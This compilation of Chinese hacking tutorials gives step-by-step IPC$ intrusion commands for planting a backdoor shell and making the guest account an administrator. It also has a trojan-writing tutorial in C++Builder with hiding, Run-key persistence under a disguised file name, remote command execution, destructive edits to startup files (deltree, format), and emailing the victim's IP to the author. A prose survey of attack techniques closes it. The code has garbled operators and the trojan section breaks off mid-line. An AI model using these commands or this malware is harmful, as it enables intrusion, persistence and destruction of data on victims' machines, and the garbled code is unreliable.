一 相关命令
建立空连接:
net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)
建立非空连接:
net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格)
映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$
删除一个ipc$连接
net use \\IP\ipc$ /del
删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认
提示:对于不熟悉命令行操作的朋友来说.建立ipc$连接后,可以在"我的电脑"或"网上邻居"右键映射网络驱动器,效果一样.
二 经典入侵模式
1. C:\net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
2. C:\copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
3. C:\net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
4. C:\at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
5. C:\net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
6. C:\telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
7.C:\copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
8. C:\WINNT\system32ntlm
输入ntlm启动(这里的C:\WINNT\system32指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
9.Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
10. C:\net user guest /active:yes
将对方的Guest用户激活
11. C:\net user guest 1234
将Guest的密码改为1234,或者你要设定的密码
12. C:\net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机).
ipc$经典入侵步骤:
1、net use \\ip\ipc$ 密码 /user:用户名
2、copy 文件名 \\ip\c$
3、net time \\ip
4、at \\ip 时间 命令
5、入侵成功,连接你的肉鸡
常用的网络命令
net user 查看用户列表
net user 用户名 密码 /add 添加用户
net user 用户名 密码 更改用户密码
net localgroup administrators 用户名 /add 添加用户到管理组
net user 用户名 /delete 删除用户
net user 用户名 查看用户的基本情况
net user 用户名 /active:no 禁用该用户
net user 用户名 /active:yes 启用该用户
net share 查看计算机IPC$共享资源
net share 共享名 查看该共享的情况
net share 共享名=路径 设置共享。例如 net share c$=c:
net share 共享名 /delete 删除IPC$共享
net stop lanmanserver 关闭ipc$和默认共享依赖的服务
net use 查看IPC$连接情况
net use \\ip\ipc$ "密码" /user:"用户名" ipc$连接
net use \\ip\ipc$ /del 删除一个连接
net use z: \\目标IP\c$ "密码" /user:"用户名" 将对方的c盘映射为自己的z盘
net use z: /del
net time \\ip 查看远程计算机上的时间
copy 路径:\文件名 \\ip\共享名复制文件到已经ipc$连接的计算机上
net view ip 查看计算机上的共享资源
at 查看自己计算机上的计划作业
at \\ip 查看远程计算机上的计划作业
at \\ip 时间 命令(注意加盘符) 在远程计算机上加一个作业
at \\ip 计划作业ID /delete 删除远程计算机上的一个计划作业
at \\ip all /delete 删除远程计算机上的全部计划作业
at \\ip time "echo 5 c:\t.txt" 在远程计算机上建立文本文件t.txt;
下面纯手打,上面是度娘给的
taskkill /im 进程名 停止运行
tasklisy 查看运行进程
ipconfig 查看本机IP
md 创建文件夹
rd 删除文件夹
echo off .txt|exit 添加文本
echo 内容 .txt 给文本添加内容
copy 复制文件
net user 用户名 密码/add 创建一个普通账号
net localgroup administrators 用户名 /add 把账户加入超级用户组
什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考:http://www.eduboss.com/pages/winfile/FaQ/bingdu.html
木马是如何编写的(一)
武汉 周侃
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Runn
黑客入侵的手法包括1)瞒天过海 (2)趁火打劫 (3)无中生有 (4)暗渡陈仓 (5)舌里藏刀 (6)顺手牵羊 (7)供尸还魂 (8)调虎离山 (9)抛砖引玉 (10)湿水摸鱼 (11)远交近攻 (12)偷梁换柱 (13)反客为主。黑客常有连环计,防不胜防,不可不小心。
1、瞒天过海,数据驱动攻击
当有些表面看来无害的特殊程序在被发送或复制到网络主机上并被执行发起攻击时,就会发生数据驱动攻击。例如:一种数据驱动的攻击可以造成一台主机修改与网络安全有关的文件,从而使黑客下一次更容易入侵该系统。
2、趁火打劫,系统文件非法利用
UNIX系统可执行文件的目录,如/bin/who可由所有的用户进行读访问。有些用户可以从可执行文件中得到其版本号,从而结合已公布的资料知道系统会具有什么样的漏洞。如通过Telnet指令操行就可以知道Sendmail的版本号。禁止对可执文件的访问虽不能防止黑客对它们的攻击,但至少可以使这种攻击变得更困难。还有一些弱点是由配置文件、访问控制文件和缺省初始化文件产生的。最出名一个例子是:用来安装SunOS Version 4的软件,它创建了一个/rhosts文件,这个文件允许局域网(因特网)上的任何人,从任何地方取得对该主机的超级用户特权。当然,最初这个文件的设置是为了从网上方便地进行安装,而不需超级用户的允许和检查。智者千虑,必有一失,操作系统设计的漏洞为黑客开户了后门,针对WIN95/WIN NT一系列具体攻击就是很好的实例。
3、无中生有,伪造信息攻击
通过发送伪造的路由信息,构造系统源主机和目标主机的虚假路径,从而使流向目标主机的数据包均经过攻击者的系统主机。这样就给人提供敏感的信息和有用的密码。
4、暗渡陈仓,针对信息协议弱点攻击
IP地址的源路径选项允许IP数据包自己选择一条通往系统目的主机的路径。设想攻击者试图与防火墙后面的一个不可到达主机A连接。他只需要在送出的请求报文中设置IP源路径选项,使报文有一个目的地址指向防火墙,而最终地址是主机A。当报文到达防火墙时被允许通过,因为它指向防火墙而不是主机A。防火墙的IP层处理该报文的源路径被改变,并发送到内部网上,报文就这样到达了不可到达的主机A。
5、笑里藏刀,远端操纵
缺省的登录界面(shell scripts)、配置和客户文件是另个问题区域,它们提供了一个简单的方法来配置一个程序的执行环境。这有时会引起远端操纵攻击:在被攻击主机上启动一个可执行程序,该程序显示一个伪造的登录界面。当用户在这个伪装的界面上输入登录信息(用户名、密码等)后,该程序将用户输入的信息传送到攻击者主机,然后关闭界面给出“系统故障”的提示信息,要求用户重新登录。此后才会出现真正的登录界面。在我们能够得到新一代更加完善的操作系统版本之前,类似的攻击仍会发生。防火墙的一个重要作用就是防止非法用户登录到受保护网的主机上。例如可以在进行报文过滤时,禁止外部主机Telnet登录到内部主机上。
6、顺手牵羊,利用系统管理员失误攻击
网络安全的重要因素之一就是人! 无数历史事实表明:保垒最容易从内攻破。因而人为的失误,如WWW服务器系统的配置差错,普通用户使用户使用权限扩大,这样就给黑客造成了可趁之机。黑客常利用系统管理员的失误,收集攻击信息。如用finger、netstat、arp、mail、grep等命令和一些黑客工具软件。
7、借尸还魂,重新发送(REPLAY)攻击
收集特定的IP数据包;篡改其数据,然后再一一重新发送,欺骗接收的主机。
8、调虎离山,声东击西
对ICMP报文的攻击,尽管比较困难,黑客们有时也使用ICMP报文进行攻击。重定向消息可以改变路由列表,路由器可以根据这些消息建议主机走另一条更好的路径。攻击者可以有效地利用重定向消息把连接转向一个不可靠的主机或路径,或使所有报文通过一个不可靠主机来转发。对付这种威肋的方法是对所有ICMP重定向报文进行过滤,有的路由软件可对此进行配置。单纯地抛弃所有重定向报文是不可取的:主机和路由器常常会用到它们,如一个路器发生故障时。
9、抛砖引玉,针对源路径选项的弱点攻击
强制报文通过一个特定的路径到达目的主机。这样的报文可以用来攻陷防火墙和欺骗主机。一个外部攻击者可以传送一个具有内部主机地址的源路径报文。服务器会相信这个报文并对攻击者发回答报文,因为这是IP的源路径选项要求。对付这种攻击最好的办法是配置好路由器,使它抛弃那些由外部网进来的却声称是内部主机的报文。
10、混水摸鱼,以太网广播攻击
将以太网接口置为乱模式(promiscuous),截获局部范围的所有数据包,为我所用。
11、远交近攻,跳跃式攻击
现在许多因特网上的站点使用UNIX操作系统。黑客们会设法先登录到一台UNIX的主机上,通过该操作系统的漏洞来取得系统特权,然后再以此为据点访问其余主机,这被称为跳跃(Island-hopping)。
黑客们在达到目的主机之前往往会这样跳几次。例如一个在美国黑客在进入美联邦调查局的网络之前,可能会先登录到亚洲的一台主机上,再从那里登录到加拿大的一台主机,然后再跳到欧洲,最后从法国的一台主机向联邦调查局发起攻击。这样被攻击网络即使发现了黑客是从何处向自己发起了攻击,管理人员也很难顺藤摸瓜找回去,更何况黑客在取得某台主机的系统特权后,可以在退出时删掉系统日志,把“藤”割断。你只要能够登录到UNIX系统上,就能相对容易成为超级用户,这使得它同时成为黑客和安全专家们的关注点。
12、偷梁换柱,窃取TCP协议连接
网络互连协议也存在许多易受攻击的地方。而且互连协议的最初产生本来就是为了更方便信息的交流,因此设计者对安全方面很少甚至不去考虑。针对安全协议的分析成为攻击的最历害一招。
在几乎所有由UNIX实现的协议族中,存在着一个久为人知的漏洞,这个漏沿使得窃取TCP连接成为可能。当TCP连接正在建立时,服务器用一个含有初始序列号的答报文来确认用户请求。这个序列号无特殊要求,只要是唯一的就可以了。客户端收到回答后,再对其确认一次,连接便建立了。TCP协议规范要求每秒更换序列号25万次。但大多数的UNIX系统实际更换频率远小于此数量,而且下一次更换的数字往往是可以预知的。而黑客正是有这种可预知服务器初始序列号的能力使得攻击可以完成。唯一可以防治这种攻击的方法是使初始序列号的产生更具有随机性。最安全的解决方法是用加密算法产生初始序列号。额外的CPU运算负载对现在的硬件速度来说是可以忽略的。
13、反客为主,夺取系统控制权
在UNIX系统下,太多的文件是只能由超级用户拥有,而很少是可以由某一类用户所有,这使得管理员必须在root下进行各种操作,这种做法并不是很安全的。黑客攻击首要对象就是root,最常受到攻击的目标是超级用户Password。严格来说,UNIX下的用户密码是没有加密的,它只是作为DES算法加密一个常用字符串的密钥。现在出现了许多用来解密的软件工具,它们利用CPU的高速度究尽式搜索密码。攻击一旦成功,黑客就会成为UNIX系统中的皇帝。因此,将系统中的权利进行三权分立,如果设定邮件系统管理员管理,那么邮件系统邮件管理员可以在不具有超级用户特权的情况下很好地管理邮件系统,这会使系统安全很多。
此外,攻击者攻破系统后,常使用金蝉脱壳之计删除系统运行日志,使自己不被系统管理员发现,便以后东山再起。故有用兵之道,以计为首之说,作为网络攻击者会竭尽一切可能的方法,使用各种计谋来攻击目标系统。这就是所谓的三十六计中的连环计。
